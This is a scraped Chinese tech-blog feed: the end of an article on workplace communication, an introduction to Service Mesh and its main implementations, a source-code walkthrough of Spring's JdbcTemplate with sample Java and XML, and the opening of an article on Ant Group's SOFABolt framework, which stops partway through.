    这个在多人会议里很常见,一些非常“有意思”的同事,他们或许个人能力不错,但在跨团队、跨部门的大会上,总是一声不吭,会上定出的方案后来效果不好时,他们就出来做事后诸葛亮,各种吐槽“我早知道这么做不好”。此刻 ta 以为别人会这么想:“这个人好牛b啊,几个部门作出的方案一眼就看出问题,应该让 ta 来 carry 啊。”然而实际上别人会这么想:“不知道会上是不愿说还是不敢说,不愿说证明 ta 自私,不敢说证明 ta 性格软。” 

    5. 达成最后协议

    恭喜你,前面的“九九八十一难”被你攻克了,拿到最后的结果就是水道渠成了。

    达成协议后你要充分尊重这个“最后的协议”,并带头执行,这样可以建立良好的信任关系,下次沟通别的什么事情时,你会在“构建安全氛围”和“构建共同目标”上会花费更少的时间。 最后总结一下全文的要点:

    • 关于沟通,你可能需要重新思考;
    • 沟通的定义是:“有目的的多向信息交流”。沟通的时候要时刻提醒自己这一点;
    • 沟通的作用:“获取或传递信息和知识”、“促成一致观点或协议”、“情感管理”;
    • 沟通的方法论:“周哈里窗”与“螺旋推进”模型;
    • “周哈里窗”模型:分为公众区、隐私区、盲点区、黑洞区。沟通的关键在于拓展“公众区”的信息;
    • “螺旋推进”模型:概念(监控器、安全氛围管理、共识线、情感线);5 个步骤(构建安全氛围、构建共同目标、分析问题、交流解决方案、达成最后的协议);
    • 践行最后的协议可以帮助建立信任,下次沟通更有默契。

    参考资料:《关键对话》、《哈佛人力资源管理》

    阿里巴巴云原生关注微服务、Serverless、容器、Service Mesh 等技术领域、聚焦云原生流行技术趋势、云原生大规模的落地实践,做最懂云原生开发者的公众号。”

    ]]>
    正确入门Service Mesh:起源、发展和现状 Fri, 02 May 2025 09:39:03 +0800 image.png

    引言

    随着云原生时代的来临,微服务架构与容器化部署模式越来越流行,从原来的新潮词汇慢慢演变成为现代IT企业的技术标配。曾经被认为理所当然的巨无霸单体应用,被拥抱了微服务的架构师们精心拆分成了一个又一个小而独立的微服务,接着再被拥抱了容器化的工程师们打包成了自带依赖的Docker镜像,最后通过某种神秘的DevOps流水线持续运送到前线 —— 也就是无人不知的 —— 风暴降生·谷歌之子·打碎镣铐者·云时代操作系统·Kubernetes —— 之中部署和运行。

    听上去似乎一切都很美好?显然不是,这世上永远没有免费的午餐。所有美好的东西都会有它的阴暗面,微服务也不例外:

    • 原来只需要部署和管理单个应用,现在一下裂变成了好几个,运维管理成本成倍上升。
    • 原来各个模块之间的交互可以直接走应用内调用(进程间通信),现在都给拆分到了不同进程甚至节点上,只能使用复杂的RPC通讯。

    难道辛辛苦苦落地了微服务,只能一边在老板面前强撑着“没问题,一切安好”,另一边默默忍受着研发与运维的私下抱怨?显然也不是。对于以“偷懒”著称的程序员们,办法总是比困难多。比如上面第1个问题,云原生所倡导的DevOps和容器化,就是一剂几乎完美的解药:通过自动化的CI/CD流水线,多应用的集成构建部署变得更加快捷;通过Docker镜像和K8s编排,多应用的资源调度运维管理也变得不那么痛苦。至于第2个问题,那就该看本文的主角 —— Service Mesh(服务网格),是如何力挽狂澜,近乎完美地解决微服务之间的通讯问题了。

    什么是 Service Mesh?

    Service Mesh 诞生

    从概念到落地?不,是从落地到概念。

    image.png

    时间回到2016年9⽉29⽇,那是一个即将放假迎来普天同庆的日子(是说我们)。在Buoyant公司内部一次关于微服务的分享会上,“Service Mesh” ,这个接下来几年占据各种云原生头条的 buzz word,就这么被造出来了。不得不说,起名真是门艺术,Micro-Services -> Service Mesh,多么承前启后和顺其自然啊,光看名字就能很形象地理解这玩意儿所做的事情:把微服务的各个service(服务)节点,用一张mesh(网格)连接起来。就这样,原本被拆散得七零八落的微服务们,又被 Service Mesh 这张大网紧密得连接到了一起;即使依然天各一方(进程间隔离),但也找回了当年一起挤在单体应用内抱团撒欢的亲密感(通信更容易)。

    最难得的是,这么好的一个概念居然不是从PPT里走出来的,人家是真的有货(这让广大PPT创业者们情何以堪):2016年1⽉15⽇,Service Mesh的第一个实现Linkerd [1]就已经完成了初次发布,紧接着次年1月23日 加入了CNCF,同年4月25日发布了 1.0版本。对于Buoyant公司而言,这也许只是无心插柳的一小步,但却是云原生领域迈向成熟的一大步。几年后的今天,Service Mesh 概念早已深入人心,各种生产级实现和大规模实践也已遍地开花,但请不要忘记这一切背后的功臣、Service Mesh革命先驱、Buoyant公司CEO —— William Morgan,以及他对Service Mesh的定义和思考:What's a service mesh? And why do I need one?[2]

    Service Mesh 定义

    别废话了,我没工夫听你说这么多,请用一句话跟我解释 Service Mesh 是什么。

    好的。A service mesh is a dedicated infrastructure layer for handling service-to-service communication. It’s responsible for the reliable delivery of requests through the complex topology of services that comprise a modern, cloud native application. In practice, the service mesh is typically implemented as an array of lightweight network proxies that are deployed alongside application code, without the application needing to be aware.

    这就是上面那位又帅又能写的CEO,对Service Mesh的权威定义。我把其中一些重点词汇做了高亮:

    • “dedicated infrastructure layer”:Service Mesh 不是用来解决业务领域问题的,而是一层专门的基础设施(中间件)。
    • “service-to-service communication”:Service Mesh 的定位很简单也很清晰,就是用来处理服务与服务之间的通讯。
    • “reliable delivery of requests”:服务间通讯为什么需要特殊处理?因为网络是不可靠的,Service Mesh 的愿景就是让服务间的请求传递变得可靠。
    • “cloud native application”:Service Mesh 从一开始就是为现代化的云原生应用而生,瞄准了未来的技术发展趋势。
    • “network proxies”:具体 Service Mesh 应该怎么实现?典型方式都是通过一组轻量级的网络代理,在应用无感知的情况下偷偷就把这事给干了。
    • “deployed alongside application code”:这些网络代理一定是跟应用部署在一起,一对一近距离贴心服务(比房产中介专一得多);否则,如果应用与代理之间也还是远程不靠谱通讯,这事儿就没完了。

    Service Mesh 形态

    想致富,先修路;但大马路可不是给马走的,是给更现代化的汽车。

    image.png

    左边这张图是Linkerd的部署示意图,其中每个微服务所处的主机(host)或容器组(pod)中都会部署一个Linkerd代理软件,用于代理微服务应用实例之间的RPC调用。对于应用而言,这一切都是无感知的:它还是照常发起自己的RPC调用,只是不再需要关心对端服务方的地址,因为服务发现都由代理节点给cover了。

    右边是一张更高维和抽象的大图,可以更形象地理解 Service Mesh 的逻辑形态 —— 想象这就是一个生产级的大规模微服务集群,其中部署了上百个服务实例以及对应的 Service Mesh 代理节点;所有微服务之间的通讯都会流经这些密密麻麻的代理节点,它们共同组成了一张川流不息的现代化交通网格。

    为什么需要 Service Mesh ?

    微服务的崛起

    The Big Bang:大爆炸后的混乱之治。

    image.png

    大多数人都曾经历过那个单体应用为王的时代。所谓“单体”(Monolithic),就是把所有组件都塞在同一个应用内,因此这些组件天然就紧密联系在一起:基于相同技术栈开发、访问共享的数据库、共同部署运维和扩容。同时,这些组件之间的通讯也趋向于频繁和耦合 —— 不过就是一句函数调用的事,何乐而不为。这样做本身并没什么错,毕竟那时的软件系统相对简单,可能一个人写个两万行代码的单体应用,就能轻松搞定所有业务场景。

    天下大事,分久必合,合久必分。现代化软件系统的复杂度不断提升,协作人数也越来越多,单体应用的固有局限性开始暴露。就仿佛宇宙大爆炸前的那个奇点,单体应用开始加速膨胀,最终在几年前达到了临界点,然后“砰”的一声就炸开了。就这样,微服务时代王者降临,让软件开发重新变得“小而美”:

    • 单⼀职责:拆分后的单个微服务,通常只负责单个高内聚自闭环功能,因此很易于开发、理解和维护。
    • 架构灵活:不同微服务应用之间在技术选型层面几乎是独立的,可以⾃由选择最适合的技术栈。
    • 部署隔离:相比巨无霸单体应用,单个微服务应用的代码和产物体积大大减少,更容易持续集成和快速部署;同时,通过进程级别的隔离,也不再像单体应用一样只能同生共死,故障隔离效果显著提升。
    • 独⽴扩展:单体应用时代,某个模块如果存在资源瓶颈(e.g. CPU/内存),只能跟随整个应用一起扩容,白白浪费很多资源。微服务化后,扩展的粒度细化到了微服务级别,可以更精确地按需独立扩展。

    但显然,微服务也不是银弹。大爆炸虽然打破了单体应用的独裁统治,但那一声声炸裂之后的微服务新宇宙,显然也不会立即就尘埃落定,而是需要经历很长一段时间的混乱之治。适应了单体时代的开发者们,被迫需要拥抱微服务所带来的一系列变化。其中最大的变化,就是服务间通讯:

    如何找到服务的提供⽅?

    微服务通讯必须走远程过程调用(HTTP/REST本质上也属于RPC),当其中一个应用需要消费另一个应用的服务时,无法再像单体应用一样通过简单的进程内机制(e.g. Spring的依赖注入)就能获取到服务实例;你甚至都不知道有没有这个服务方。

    如何保证远程调⽤的可靠性?

    既然是RPC,那必然要走IP网络,而我们都知道网络(相比计算和存储)是软件世界里最不可靠的东西。虽然有TCP这种可靠传输协议,但频繁丢包、交换机故障甚至电缆被挖断也常有发生;即使网络是好的,如果对方机器宕机了,或者进程负载过高不响应呢?

    如何降低服务调⽤的延迟?

    网络不只是不可靠,还有延迟的问题。虽然相同系统内的微服务应用通常都部署在一起,同机房内调用延迟很小;但对于较复杂的业务链路,很可能一次业务访问就会包括数十次RPC调用,累积起来的延迟就很可观了。

    如何保证服务调⽤的安全性?

    网络不只是不可靠和有延迟,还是不安全的。互联网时代,你永远不知道屏幕对面坐的是人还是狗;同样,微服务间通讯时,如果直接走裸的通讯协议,你也永远不知道对端是否真的就是自己人,或者传输的机密信息是否有被中间人偷听。

    服务通讯:石器时代

    毛主席说:自己动手,丰衣足食。

    image.png

    为了解决上述微服务引入的问题,最早那批吃螃蟹的工程师们,开始了各自的造轮子之旅:

    • 服务发现(Service Discovery):解决“我想调用你,如何找到你”的问题。
    • 服务熔断(Circuit Breaker):缓解服务之间依赖的不可靠问题。
    • 负载均衡(Load Balancing):通过均匀分配流量,让请求处理更加及时。
    • 安全通讯:包括协议加密(TLS)、身份认证(证书/签名)、访问鉴权(RBAC)等。

    用自己的代码解决问题,这确实是程序员们能干出来的事,没毛病。But,时间都去哪了?

    • 重复造轮子:需要编写和维护⼤量非功能性代码,如何集中精力专注业务创新?
    • 与业务耦合:服务通讯逻辑与业务代码逻辑混在一起,动不动还会遇到点匪夷所思的分布式bug。

    服务通讯:摩登时代

    社会主义精神:共享和复用。

    image.png

    更有思想觉悟的那批工程师们坐不住了:你们这是违背了共享和复用原则,对不起GNU那帮祖师爷!于是,各种高质量、标准化、期望能大一统的精品轮子们应运而生,包括 Apache Dubbo(手动置顶)、Spring Cloud、Netflix OSS、gRPC 等等等。

    这些可复用的类库和框架,确确实实带来了质量和效率上的大幅提升,但是足够好使了吗?Not enough:

    • 并非完全透明:程序员们仍然需要正确理解和使⽤这些库,上手成本和出错概率依然很高。
    • 限制技术选择:使用这些技术后,应用很容易就会被对应的语⾔和框架强绑定(vendor-lock)。
    • 维护成本高:库版本升级,需要牵连应⽤一起重新构建和部署;麻烦不说,还要祈祷别出故障。

    服务通讯:新⽣代

    Service Mesh:我只是一个搬运工而已。

    image.png

    Service Mesh 的诞生,彻底解决了上述所有问题。听上去很神奇,究竟是如何办到的呢?简单来说,Service Mesh 就是通过 Sidecar模式[3] ,将上述类库和框架要干的事情从应用中彻底剥离了出来,并统一下沉到了基础设施层。这是一种什么思想?这是一种古老操作系统中早就有了的抽象和分层思想(应用程序并不需要关心网络协议栈),也是一种现代云计算平台自底向上逐步托管的软件服务化思想(IaaS -> CaaS -> PaaS -> SaaS)。

    上述几张 Service Mesh 的演进图,参考自 Service Mesh Pattern[4] 一文。

    Service Mesh 主流实现

    注:以下内容来自于资料搜集整理,仅供参考,更进一步学习请以最新权威资料为准。

    主流实现概览

    image.png

    Service Mesh 的主流实现包括:

    • Linkerd:背后公司是Buoyant,开发语⾔使用Scala,2016年1⽉15日初次发布,2017年1⽉23日加入CNCF,2018年5⽉1⽇发布1.4.0版本。
    • Envoy:背后公司是Lyft,开发语言使用C++ 11,2016年9月13日初次发布,2017年9⽉14日加⼊CNCF,2018年3月21日发布1.6.0版本。
    • Istio:背后公司是Google和IBM,开发语言使用Go,2017年5⽉月10日初次发布,2018年3⽉31日发布0.7.1版本。
    • Conduit:背后公司也是Buoyant,开发语言使用Rust和Go,2017年12月5日初次发布,2018年4⽉27日发布0.4.1版本。

    Linkerd 简介

    image.png

    Linkerd的核心组件就是一个服务代理,因此只要理清它的请求处理流程,就掌握了它的核心逻辑:

    • 动态路由:根据上游服务请求参数,确定下游目标服务;除了常规的服务路由策略,Linkerd还可以通过这一层动态路由能力,支持灰度发布、A/B测试、环境隔离等非常有价值的场景。
    • 服务发现:确定目标服务后,下一步就是获取对应的实例的地址列表(e.g. 查询service registry)。
    • 负载均衡:如果列表中有多个地址,Linkerd会通过负载均衡算法(e.g. Least Loaded、Peak EWMA)选择其中⼀个合适的低延迟实例。
    • 执行请求:发送请求到上一步所选择的实例,并记录延迟和响应结果。
    • 重试处理:如果请求未响应,则选择另⼀个实例重试(前提:Linkerd知道该请求是幂等的)。
    • 熔断处理:如果发往某个实例的请求经常失败,则主动从地址列表中剔除该实例。
    • 超时处理:如果请求超期(在给定的deadline时间点之前仍未返回),则主动返回失败响应。
    • 可观测性:Linkerd会持续收集和上报上述各种行为数据,包括Metrics和Tracing。

    Envoy 简介

    image.png

    Envoy是一个高性能的Service Mesh软件,主要包含如下特性:

    • 高性能:基于本地代码(C++ 11)实现;相比之下,Linkerd是基于Scala编写,肯定要慢不少。
    • 可扩展:L4和L7层代理功能均基于可插拔的 Filter Chain 机制(类比 netfilter、servlet filter)。
    • 协议升级:支持双向、透明的 HTTP/1 to HTTP/2 代理能力。
    • 其他能力:服务发现(符合最终一致性)、负载均衡(支持区域感知)、稳定性(重试、超时、熔断、限速、异常检测)、可观测性(统计/日志/追踪)、易于调试等。

    Istio 简介

    image.png

    Istio是一个管控/数据平面分离的完整Service Mesh套件,包含如下组件:

    • Envoy:构成数据平⾯(其他组件共同构成控制平⾯);可被替换为其他代理(e.g. Linkerd, nginMesh)。
    • Pilot:负责流量管理(Traffic Management),提供平台独⽴的服务模型定义、API以及实现。
    • Mixer:负责策略与控制(Policies & Controls),核⼼功能包括:前置检查、配额管理、遥测报告。
    • Istio-Auth:支持多种粒度的RBAC权限控制;支持双向SSL认证,包括身份识别、通讯安全、秘钥管理。

    Istio 组件 - Pilot

    image.png

    Pilot组件是Istio服务网格中的“领航员”,负责管理数据平面的流量规则和服务发现。一个典型的应用场景就是灰度发布(or 金丝雀发布、蓝绿部署):开发者通过Pilot提供的规则API,下发流量路由规则到数据平面的Envoy代理,从而实现精准的多版本流量分配(e.g. 将1%的流量分配到新版本服务)。

    Istio 组件 - Mixer

    image.png

    Mixer组件是Istio服务网格中的“调音师”,既负责落实各种流量策略(如访问控制、限速),也负责对流量进行观测分析(如日志、监控、追踪)。这些能力都是通过前文提到的Envoy Filter Chain扩展机制实现:Mixer会分别在“请求路由前”(Pre-routing)扩展点和“请求路由后”(Post-routing)扩展点挂载自己的Filter实现。

    Istio 组件 - Auth

    image.png

    Auth组件是Istio服务网格中的“安全员”,负责处理服务节点之间通信的认证(Authentification)和鉴权(Authorization)问题。对于认证,Auth支持服务之间的双向SSL认证,可以让通讯的双方都彼此认可对方的身份;对于鉴权,Auth支持流行的RBAC鉴权模型,可以实现便捷和细粒度的“用户-角色-权限”多级访问控制。

    Conduit 简介

    image.png

    Conduit是由Buoyant公司出品的下一代 Service Mesh。作为Istio的挑战者,Conduit的整体架构与Istio类似也明确区分了管控平面和数据平面,但同时它还具备如下关键特性:

    • 轻量快速:Conduit的数据平面是基于原生的Rust语言编写,非常轻量、快速和安全(Rust相比C/C++的最大改进点就是安全性)。单个代理的实际内存消耗(RSS)小于10mb,延迟的p99分位点小于1ms,基本相当于能为应用程序提供免费(无额外开销)的Service Mesh功能。
    • 安全保障:Conduit构建之初就考虑了云原生环境的安全性,包括Rust语言内存安全性、默认TLS加密等。
    • 端到端可见性:Conduit可以自动测量和聚合服务的成功率、延迟与请求容量数据,让开发者在无需变更应用代码就能获取到服务的完整行为视图。
    • Kubernetes增强:Conduit为K8s集群添加了可靠性、可见性和安全性,同时给予了开发者对自己应用程序运行时行为的完全控制。

    结语

    本文从云原生时代所面临的微服务通讯问题入手,依次介绍了Service Mesh的起源、发展和现状,希望能帮助读者建立一个初步的理解和认知。当然,实践出真知,与其临渊羡鱼(眼馋Service Mesh的技术红利),不如退而结网(自己动手织一张Service网格)。手头的工作没有可实践的业务场景?没关系,我这有:

    欢迎各位技术同路人加入阿里云云原生应用研发平台EMAS团队,我们专注于广泛的云原生技术(Backend as a Service、Serverless、DevOps、低代码平台等),致力于为企业、开发者提供一站式的应用研发管理服务,内推直达邮箱:pengqun.pq # alibaba-inc.com,有信必回。

    相关链接

    [1]https://github.com/linkerd/linkerd
    [2]https://buoyant.io/2017/04/25/whats-a-service-mesh-and-why-do-i-need-one/
    [3]https://docs.microsoft.com/en-us/azure/architecture/patterns/sidecar
    [4]https://philcalcado.com/2017/08/03/pattern_service_mesh.html

    ]]>
    Dubbo大纲 Fri, 02 May 2025 09:39:03 +0800

    ]]>
    Spring事务源码分析专题(一)JdbcTemplate使用及源码分析 Fri, 02 May 2025 09:39:03 +0800 # 前言

    本系列文章为事务专栏分析文章,整个事务分析专题将按下面这张图完成

    image-20200718220712800

    对源码分析前,我希望先介绍一下Spring中数据访问的相关内容,然后层层递进到事物的源码分析,主要分为两个部分

    1. JdbcTemplate使用及源码分析
    2. Mybatis的基本使用及Spring对Mybatis的整合

    本文将要介绍的是第一点。

    JdbcTemplate使用示例

    public class DmzService {
    
        private JdbcTemplate jdbcTemplate;
    
        public void setDataSource(DataSource dataSource) {
            jdbcTemplate = new JdbcTemplate(dataSource);
        }
    
        /**
         * 查询
         * @param id 根据id查询
         * @return 对应idd的user对象
         */
        public User getUserById(int id) {
            return jdbcTemplate
                    .queryForObject("select * from `user` where id  =  ?", new RowMapper<User>() {
                        @Override
                        public User mapRow(ResultSet rs, int rowNum) throws SQLException {
                            User user = new User();
                            user.setId(rs.getInt("id"));
                            user.setAge(rs.getInt("age"));
                            user.setName(rs.getString("name"));
                            return user;
                        }
                    }, id);
        }
    
        public int saveUser(User user){
            return jdbcTemplate.update("insert into user values(?,?,?)",
                    new Object[]{user.getId(),user.getName(),user.getAge()});
        }
    }
    public class Main {
        public static void main(String[] args) {
            ClassPathXmlApplicationContext cc = new ClassPathXmlApplicationContext("tx.xml");
            DmzService dmzService = cc.getBean(DmzService.class);
            User userById = dmzService.getUserById(1);
            System.out.println("查询的数据为:" + userById);
            userById.setId(userById.getId() + 1);
            int i = dmzService.saveUser(userById);
            System.out.println("插入了" + i + "条数据");
        }
    }

    数据库中目前只有一条数据:

    image-20200708153438245

    配置文件如下:

    <?xml version="1.0" encoding="UTF-8"?>
    <beans xmlns="http://www.springframework.org/schema/beans"
           xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
           xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    
        <bean class="org.springframework.jdbc.datasource.DriverManagerDataSource" id="dataSource">
            <property name="password" value="123"/>
            <property name="username" value="root"/>
            <property name="driverClassName" value="com.mysql.jdbc.Driver"/>
            <property name="url"
                      value="jdbc:mysql://localhost:3306/test?serverTimezone=UTC"/>
    
        </bean>
    
        <bean id="dmzService" class="com.dmz.spring.tx.service.DmzService">
            <property name="dataSource" ref="dataSource"/>
         </bean>
    </beans>

    程序允许结果:

    查询的数据为:User{id=1, name='dmz', age=18}
    插入了1条数据

    image-20200708153656393

    运行后数据库中确实插入了一条数据

    对于JdbcTemplate的简单使用,建议大家还是要有一定熟悉,虽然我现在在项目中不会直接使用JdbcTemplate的API。本文关于使用不做过多介绍,主要目的是分析它底层的源码

    JdbcTemplate源码分析

    我们直接以其queryForObject方法为入口,对应源码如下:

    queryForObject方法分析

    public <T> T queryForObject(String sql, RowMapper<T> rowMapper, @Nullable Object... args) throws DataAccessException {
       
        // 核心在这个query方法中
        List<T> results = query(sql, args, new RowMapperResultSetExtractor<>(rowMapper, 1));
       
        // 这个方法很简单,就是返回结果集中的数据
        // 如果少于1条或者多余1条都报错
        return DataAccessUtils.nullableSingleResult(results);
    }

    query方法分析

    // 第一步,对传入的参数进行封装,将参数封装成ArgumentPreparedStatementSetter
    public <T> T query(String sql, @Nullable Object[] args, ResultSetExtractor<T> rse) throws DataAccessException {
        return query(sql, newArgPreparedStatementSetter(args), rse);
    }
    
    // 第二步:对sql语句进行封装,将sql语句封装成SimplePreparedStatementCreator
    public <T> T query(String sql, @Nullable PreparedStatementSetter pss, ResultSetExtractor<T> rse) throws DataAccessException {
        return query(new SimplePreparedStatementCreator(sql), pss, rse);
    }
    
    
    public <T> T query(
        PreparedStatementCreator psc, @Nullable final PreparedStatementSetter pss, final ResultSetExtractor<T> rse)
        throws DataAccessException {
        // query方法在完成对参数及sql语句的封装后,直接调用了execute方法
        // execute方法是jdbcTemplate的基本API,不管是查询、更新还是保存
        // 最终都会进入到这个方法中
        return execute(psc, new PreparedStatementCallback<T>() {
            @Override
            @Nullable
            public T doInPreparedStatement(PreparedStatement ps) throws SQLException {
                ResultSet rs = null;
                try {
                    if (pss != null) {
                        pss.setValues(ps);
                    }
                    rs = ps.executeQuery();
                    return rse.extractData(rs);
                }
                finally {
                    JdbcUtils.closeResultSet(rs);
                    if (pss instanceof ParameterDisposer) {
                        ((ParameterDisposer) pss).cleanupParameters();
                    }
                }
            }
        });
    }

    execute方法分析

    // execute方法封装了一次数据库访问的基本操作
    // 例如:获取连接,释放连接等
    // 其定制化操作是通过传入的PreparedStatementCallback参数来实现的
    public <T> T execute(PreparedStatementCreator psc, PreparedStatementCallback<T> action)
        throws DataAccessException {
        // 1.获取数据库连接
        Connection con = DataSourceUtils.getConnection(obtainDataSource());
        PreparedStatement ps = null;
        try {
            // 2.获取一个PreparedStatement,并应用用户设定的参数
            ps = psc.createPreparedStatement(con);
            applyStatementSettings(ps);
            // 3.执行sql并返回结果
            T result = action.doInPreparedStatement(ps);
            // 4.处理警告
            handleWarnings(ps);
            return result;
        }
        catch (SQLException ex) {
              // 出现异常的话,需要关闭数据库连接
            if (psc instanceof ParameterDisposer) {
                ((ParameterDisposer) psc).cleanupParameters();
            }
            String sql = getSql(psc);
            psc = null;
            JdbcUtils.closeStatement(ps);
            ps = null;
            DataSourceUtils.releaseConnection(con, getDataSource());
            con = null;
            throw translateException("PreparedStatementCallback", sql, ex);
        }
        finally {
            // 关闭资源
            if (psc instanceof ParameterDisposer) {
                ((ParameterDisposer) psc).cleanupParameters();
            }
            JdbcUtils.closeStatement(ps);
            DataSourceUtils.releaseConnection(con, getDataSource());
        }
    }

    1、获取数据库连接

    对应源码如下:

    public static Connection getConnection(DataSource dataSource) throws CannotGetJdbcConnectionException {
        // 这里省略了异常处理
        // 直接调用了doGetConnection方法
        return doGetConnection(dataSource);    
      
    }

    doGetConnection方法是最终获取连接的方法

    public static Connection doGetConnection(DataSource dataSource) throws SQLException {
        Assert.notNull(dataSource, "No DataSource specified");
    
        // 如果使用了事务管理器来对事务进行管理(申明式事务跟编程式事务都依赖于事务管理器)
        // 那么在开启事务时,Spring会提前绑定一个数据库连接到当前线程中
        // 这里做的就是从当前线程中获取对应的连接池中的连接
        ConnectionHolder conHolder = (ConnectionHolder) TransactionSynchronizationManager.getResource(dataSource);
        if (conHolder != null && (conHolder.hasConnection() || conHolder.isSynchronizedWithTransaction())) {
            // 记录当前这个连接被使用的次数,每次调用+1
            conHolder.requested();
            if (!conHolder.hasConnection()) {
                logger.debug("Fetching resumed JDBC Connection from DataSource");
                conHolder.setConnection(fetchConnection(dataSource));
            }
            return conHolder.getConnection();
        }
        Connection con = fetchConnection(dataSource);
    
        // 如果开启了一个空事务(例如事务的传播级别设置为SUPPORTS时,就会开启一个空事务)
        // 会激活同步,那么在这里需要将连接绑定到当前线程
        if (TransactionSynchronizationManager.isSynchronizationActive()) {
            try {
                ConnectionHolder holderToUse = conHolder;
                if (holderToUse == null) {
                    holderToUse = new ConnectionHolder(con);
                }
                else {
                    holderToUse.setConnection(con);
                }
                // 当前连接被使用的次数+1(能进入到这个方法,说明这个连接是刚刚从连接池中获取到)
                // 当释放资源时,只有被使用的次数归为0时才放回到连接池中
                holderToUse.requested();
                TransactionSynchronizationManager.registerSynchronization(
                    new ConnectionSynchronization(holderToUse, dataSource));
                holderToUse.setSynchronizedWithTransaction(true);
                if (holderToUse != conHolder) {
                    TransactionSynchronizationManager.bindResource(dataSource, holderToUse);
                }
            }
            catch (RuntimeException ex) {
                // 出现异常时释放连接,如果开启了事务,不会真正调用close方法关闭连接
                // 而是把当前连接的使用数-1
                releaseConnection(con, dataSource);
                throw ex;
            }
        }
    
        return con;
    }

    2、应用用户设定的参数

    protected void applyStatementSettings(Statement stmt) throws SQLException {
        int fetchSize = getFetchSize();
        if (fetchSize != -1) {
            stmt.setFetchSize(fetchSize);
        }
        int maxRows = getMaxRows();
        if (maxRows != -1) {
            stmt.setMaxRows(maxRows);
        }
        DataSourceUtils.applyTimeout(stmt, getDataSource(), getQueryTimeout());
    }

    从上面代码可以看出,主要设立了两个参数

    1. fetchSize:该参数的设计目的主要是为了减少网络交互,当访问ResultSet的时候,如果它每次只从服务器读取一条数据,则会产生大量的开销,setFetchSize的含义在于,当调用rs.next时,它可以直接从内存中获取而不需要网络交互,提高了效率。这个设置可能会被某些JDBC驱动忽略,而且设置过大会造成内存上升
    2. setMaxRows,是将此Statement生成的所有ResultSet的最大返回行数限定为指定数,作用类似于limit。

    3、执行Sql

    没啥好说的,底层其实就是调用了jdbc的一系列API

    4、处理警告

    也没啥好说的,处理Statement中的警告信息

    protected void handleWarnings(Statement stmt) throws SQLException {
        if (isIgnoreWarnings()) {
            if (logger.isDebugEnabled()) {
                SQLWarning warningToLog = stmt.getWarnings();
                while (warningToLog != null) {
                    logger.debug("SQLWarning ignored: SQL state '" + warningToLog.getSQLState() + "', error code '" +
                                 warningToLog.getErrorCode() + "', message [" + warningToLog.getMessage() + "]");
                    warningToLog = warningToLog.getNextWarning();
                }
            }
        }
        else {
            handleWarnings(stmt.getWarnings());
        }
    }

    5、关闭资源

    最终会调用到DataSourceUtilsdoReleaseConnection方法,源码如下:

    public static void doReleaseConnection(@Nullable Connection con, @Nullable DataSource dataSource) throws SQLException {
        if (con == null) {
            return;
        }
        if (dataSource != null) {
            ConnectionHolder conHolder = (ConnectionHolder) TransactionSynchronizationManager.getResource(dataSource);
            if (conHolder != null && connectionEquals(conHolder, con)) {
                // 说明开启了事务,那么不会调用close方法,之后将连接的占用数减1
                conHolder.released();
                return;
            }
        }
        // 调用close方法关闭连接
        doCloseConnection(con, dataSource);
    }

    总结

    总的来说,这篇文章涉及到的内容都是比较简单的,通过这篇文章是希望让大家对Spring中的数据访问有一定了解,相当于热身吧,后面的文章难度会加大,下篇文章我们将介绍更高级的数据访问,myBatis的使用以及基本原理、事务管理以及它跟Spring的整合原理。

    如果本文对你由帮助的话,记得点个赞吧!也欢迎关注我的公众号,微信搜索:程序员DMZ,或者扫描下方二维码,跟着我一起认认真真学Java,踏踏实实做一个coder。

    我叫DMZ,一个在学习路上匍匐前行的小菜鸟!

    ]]>
    蚂蚁集团网络通信框架 SOFABolt 功能介绍及协议框架解析 | 开源 Fri, 02 May 2025 09:39:03 +0800

    ,有趣实用的分布式架构频道。
    回顾视频以及 PPT 查看地址见文末。欢迎加入直播互动钉钉群 : 30315793,不错过每场直播。

    SOFAChannel#17

    大家好,我是本期 SOFAChannel 的分享讲师丞一,来自蚂蚁集团,是 SOFABolt 的开源负责人。今天我们来聊一下蚂蚁集团开源的网络通信框架 SOFABolt 的框架解析以及功能介绍。本期分享将从以下四个方面展开:

    • SOFABolt 简介;
    • 基础通信能力解析;
    • 协议框架解析;
    • 私有协议实现解析;

    SOFABolt 是什么

    SOFABolt 产生背景

    相信大家都知道 SOFAStack,SOFAStack(Scalable Open Financial Architecture Stack)是一套用于快速构建金融级云原生架构的中间件,也是在金融场景里锤炼出来的最佳实践。

    SOFABolt 则是 SOFAStack 中的网络通信框架,是一个基于 Netty 最佳实践的轻量、易用、高性能、易扩展的通信框架,他的名字 Bolt 取自迪士尼动画《闪电狗》。他一开始是怎么在蚂蚁集团内部产生的,我们可以类比一下 Netty 的产生原因:

    • 为了让 Java 程序员能将更多的精力放在基于网络通信的业务逻辑实现上,而不是过多的纠结于网络底层 NIO 的实现以及处理难以调试的网络问题,Netty 应运而生;
    • 为了让中间件开发者能将更多的精力放在产品功能特性实现上,而不是重复地一遍遍制造通信框架的轮子,SOFABolt 应运而生;

    这些年,在微服务与消息中间件在网络通信上,蚂蚁集团解决过很多问题、积累了很多经验并持续进行着优化和完善,我们把总结的解决方案沉淀到 SOFABolt 这个基础组件里并反馈到开源社区,希望能够让更多使用网络通信的场景受益。目前该组件已经运用在了蚂蚁集团中间件的微服务 (SOFARPC)、消息中心、分布式事务、分布式开关、以及配置中心等众多产品上。

    同时,已有数家企业在生产环境中使用了 SOFABolt,感谢大家的肯定,也希望 SOFABolt 可以给更多的企业带来实践价值。

    SOFABolt 企业用户

    以上企业信息根据企业用户 Github 上反馈统计 — 截止 2020.06。

    SOFABolt:https://github.com/sofastack/sofa-bolt

    SOFABolt 框架组成

    SOFABolt 整体可以分为三个部分:

    • 基础通信能力(基于 Netty 高效的网络 IO 与线程模型、连接管理、超时控制);
    • 协议框架(命令与命令处理器、编解码处理器);
    • 私有协议实现(私有 RPC 通信协议的实现);

    下面,我们分别介绍一下 SOFABolt 每个部分的具体能力。

    基础通信能力

    基础通信模型

    基础通信模型

    如上图所示,SOFABolt 有多种通信模型,分别为:oneway、sync、future、callback。下面,我们介绍一下每个通信模型以及他们的使用场景。

    • oneway:不关注结果,即客户端发起调用后不关注服务端返回的结果,适用于发起调用的一方不需要拿到请求的处理结果,或者说请求或处理结果可以丢失的场景;
    • sync:同步调用,调用线程会被阻塞,直到拿到响应结果或者超时,是最常用的方式,适用于发起调用方需要同步等待响应的场景;
